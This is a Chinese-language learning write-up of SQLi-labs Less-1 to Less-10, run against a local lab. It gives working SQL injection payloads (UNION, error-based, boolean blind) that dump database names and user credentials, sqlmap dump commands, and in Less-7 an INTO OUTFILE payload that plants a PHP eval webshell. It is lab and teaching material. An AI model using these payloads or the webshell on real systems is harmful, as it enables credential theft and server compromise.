前言:
此文用于记录学习SQL注入过程中的所得所思,文中参考一些大佬的解题方法。文章是从个人之前的博客同步过来的,主要是想统一整理。
做题过程中的各种知识
- 在mysql数据库中,单行注释有
#
和--
,在实际操作中#
号一般用%23
来表示。而--
则用--+
来表示。因为在URL中,如果在最后加上--
,浏览器在发送请求的时候会把URL末尾的空格舍去,而用--+
代替--
,原因是+
在URL被URL编码后会变成空格。 - 与数据库相关的内容:
- information_schema,系统数据库,包含所有数据库相关信息。
- information_schema.schemata中schema_name列,字段为所有数据库名称。
- information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。
- information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名。
- 联合查询时需要将前面的查询结果限定为空集,后面的查询结果才能显示出来。
- concat(),concat_ws()与及group_concat()的用法
- 其他相关知识点在文末附有相应链接,就不在这赘述了。
Less-1
手工UNION联合查询注入
- 根据题目提示,输入
http://localhost:8088/sqlilabs/Less-1/?id=1
显示正常。
- 加个单引号看看,
http://localhost:8088/sqlilabs/Less-1/?id=1'
显示语句出错。
- 通过
http://localhost:8088/sqlilabs/Less-1/?id=1' %23
或http://localhost:8088/sqlilabs/Less-1/?id=1'--+
或http://localhost:8088/sqlilabs/Less-1/?id=1' and '1'='1
可知,是单引号字符型注入。
- 下面开始构造语句,首先先了解相关的数据库内容:
- information_schema,系统数据库,包含所有数据库相关信息。
- information_schema.schemata中schema_name列,字段为所有数据库名称。
- information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。
- information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名。
- 使用order by查列数,order by语法为:ORDER BY column1 [ASC|DESC], column2 [ASC|DESC],… 此处以数字1,2,3…指定以某一列为key进行排序,通过尝试得出列数,得出列数为3。
- order by 3时,
http://localhost:8088/sqlilabs/Less-1/?id=1' order by 3 --+
,正常:
- order by 4时,
http://localhost:8088/sqlilabs/Less-1/?id=1' order by 4 --+
,出错:
- 接着进行联合注入,通过回显爆出表名,列名,字段,用户名和密码。
- 爆数据库名:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
- 爆当前security数据库的表:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
- 爆user表的列:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
- 爆所有用户名和密码:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users --+
- 或这样构造:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
使用sqlmap工具进行注入
-
各个参数就不一一说明了,请参考这篇文章:11种常见SQLMAP使用方法详解
-
首先,直接指定相关参数,如注入类型,数据库类型等:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql --batch
得到相关信息。
-
开始注入,爆出数据库名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql --batch --dbs
-
爆出
security
中所有表名:python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch
-
爆出
users
表中的所有字段:python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch
-
爆出用户信息:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch
Less-2
- 首先
http://localhost:8088/sqlilabs/Less-2/?id=1
,正常。 - 加单引号
http://localhost:8088/sqlilabs/Less-2/?id=1'
出错提示为:
可知单引号影响了闭合,为数字型注入。 - 也就是不添加单引号,也不需要注释了,直接在后面添加语句,进行联合查询,构造的语句均和Less-1一样。
Less-3
- 加单引号
http://localhost:8088/sqlilabs/Less-3/?id=1'
出错:
- 由错误提示可知后台查询语句应为
select * from * where id = ('$id') LIMIT 0,1
- 构造
http://localhost:8088/sqlilabs/Less-3/?id=1') --+
进行测试。访问正常,猜测正确。 - 接下来的语句构造同上。
Less-4
- 加单引号
http://localhost:8088/sqlilabs/Less-4/?id=1'
,正常。 - 考虑到语句中可能为双引号,加双引号试试
http://localhost:8088/sqlilabs/Less-4/?id=1"
, 报错:use near '"1"") LIMIT 0,1' at line
, 可知查询语句应该为select * from * where id = ("$id") LIMIT 0,1
- 如上,构造语句为
http://localhost:8088/sqlilabs/Less-4/?id=1") --+
, 访问正常,接下来的构造如上。
Less-5
- 加单引号
http://localhost:8088/sqlilabs/Less-5/?id=1'
,错误use near ''1'' LIMIT 0,1' at line 1
,知闭合为单引号。 - 输入
http://localhost:8088/sqlilabs/Less-5/?id=1'--+
,显示依然如下:
- 页面出现SQL语句报错,在这可以使用:报错型盲注。构造原理与方法请参考这篇文章:详细讲解双查询注入
还可用布尔型盲注、时间延迟型盲注等,它们都属于盲注,以后再尝试。 - 构造如下语句:
http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
- 提示输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(
group_concat()
函数最大长度为64位),所以需要放弃group_concat()
函数,而使用limit 0,1
来一个个输出。 limit 0,1
表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
- 更改语句为:
http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
得到第一个数据库的名字为information_schema
注意: 0是拼接上去的,这个0由rand()
函数产生,是floor报错语句中输出的一部分。
- 为了方便查看,稍微改动语句:
http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)--+
如下:
-
继续爆其他数据库名,改变
limit n,1
即可:http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 1,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+
当显示下面的情况时,说明已经爆完。
-
爆
security
数据库中的表:
构造:http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+
还是更换limit n,1
一个一个爆出。
下面说明已经爆完,同上。
-
爆
users
表的列名:http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
-
爆
users
表中的内容:
用户名和密码为,同样,limit n,1
慢慢来吧:http://localhost:8088/sqlilabs/Less-5/?id=2' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)--+
太多了,就不一一列举了。
Less-6
- 加单引号,正常,加双引号,报错如下:
- 可知为闭合双引号出错,构造方法同上,这里尝试使用布尔型盲注:
- 先看数据库的版本,
http://localhost:8088/sqlilabs/Less-6/?id=1" and 1=(if(substr(version(),1,1)=5,1,0))--+
显示正常,说明数据库版面为5,就可以利用那个默认库information_schema了。 - 猜测数据库名,使用二分法。
- 构造
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'a'--
没报错,说明数据库名第一个大于a
。 - 接着,构造为:
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'m'--+
还是正常的,继续。 - 选取
z
,http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'z'--+
出错,无显示。
- 所有考虑
t
,也就是m和z的中间那个。http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'t'--+
依然出错。 - 就这样,一步一步试出第一个字母,得出为
s
。
- 下一步,判断其长度:还是二分法,慢慢试,由
http://localhost:8088/sqlilabs/Less-6/?id=1" and length(database())=8--+
访问正常知共有8个字母。然后如上一个一个试,通过substr(database(),n,1)
。其实得出前面几个便可猜出为何单词,这里即为security
。 - 下面是猜表名:
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u' --+
- 这里工作量更大了,因为security中有四张表,每张都有id属性,下面设为
limit 3,1
,猜测表users
的第一个字母u
时才不会出错(还有第三张表uagents
即limit 2,1
时猜测时也不会出错,所以得试好多次) - 当然,一般我们需要的应该都是users表,所以也可以直接尝试
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,5)='users' --+
- 接着是列:构造类似,不一一说明:
- 第一个属性为
id
,已知 - 第二个
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,8)='username' --+
为username
- 第三个为:
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,8)='password' --+
为password
- 最后是内容:这就更复杂了,因为每个字母都需要猜,实际工作量是非常大的,由于目前水平有限,语句的构造和注入方法都是比较愚笨的,还不知道其他更好的方法,所以就先到这里了。
Less-7
- 加单引号出现错误, 可以猜测 id 是一个单引号包裹的字符类型。但这样
http://localhost:8088/sqlilabs/Less-7/?id=1' --+
却是错的,所以考虑到可能有)
,于是http://localhost:8088/sqlilabs/Less-7/?id=1') --+
还是错的,差点放弃了,最后得出http://localhost:8088/sqlilabs/Less-7/?id=1')) --+
是正确的,所以可以这样构造攻击语句')) 攻击代码--+
- 通过group by 得知有三列。
- 由于本关卡提示使用file权限向服务器写入文件,先查看是否有写入权限。
http://localhost:8088/sqlilabs/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+
返回正常,说明有写入权限。 - 试写入一个文件试试:
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,3 into outfile "F:\\tool\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\try.php"--+
成功。
注:有可能遇到遇到secure-file-priv问题 ,自己设置一下就好了。
5. 现在写入webshell,http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['sql']);?>" into outfile "F:\\tool\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\try1.php"--+
6. 使用菜刀连接下:成功
Less-8
- 加单引号,出错,加注释
http://localhost:8088/sqlilabs/Less-8/?id=1' --+
正常。可知为单引号闭合。 - 接下来和
Less-5
差不多,就是不能基于报错型盲注。因为没有回显内容,所以只能用布尔型盲注和时间延迟型盲注。 - 这里有个问题,其实在
Less-1
时就有疑问了,但Less-1
有回显报错,所以不在意,到这就又有疑问了,就是当加双引号和注释http://localhost:8088/sqlilabs/Less-8/?id=1" --+
和“双引号不加注释”时http://localhost:8088/sqlilabs/Less-8/?id=1"
,也是正确的,很奇怪。后来在命令行中尝试了select * from users where id='1"' limit 0,1;
发现是可以通过的,又尝试了几个情况。
通过上面的尝试发现,加双引号时,加不加注释其实都一样,因为MySQL把一个双引号当成两个单引号了,注释在引号中根本不起作用了,所以才会出现返回正常的情况。
- 和之前所说的一样,使用布尔型盲注和时间延迟型盲注是比较繁琐的,所以直接使用sqlmap进行注入:
(1)布尔型盲注
- 爆数据库名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10
- 爆表名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security --tables --batch --threads 10
- 爆列名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security -T users --column --batch --threads 10
- 爆内容:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security -T users -C username,password --dump --batch --threads 10
(2)时间延迟型盲注(真难等) - 爆数据库名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql --dbs --batch
- 爆表名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security --tables --batch
- 爆列名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security -T users --column --batch
- 爆内容:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security -T users -C username,password --dump --batch
Less-9
- 尝试使用单引号和双引号闭合(没有注释
--+
),发现页面回显一直正常,好迷。网上说把单双引号给退意了,不懂。 - 根据提示,为单引号时间延迟型盲注。
- 但感觉好像加什么都显示正常,不管了,直接用sqlmap跑吧。
- 爆数据库名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql --dbs --batch
- 爆表名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security --tables --batch
- 爆列名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security -T users --column --batch
- 爆内容:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security -T users -C username,password --dump --batch
Less-10
- 和Less-9一样,感觉输入什么都没有反应。
- 根据提示,为双引号时间延迟型盲注。
- 也是用sqlmap跑,就不多说了。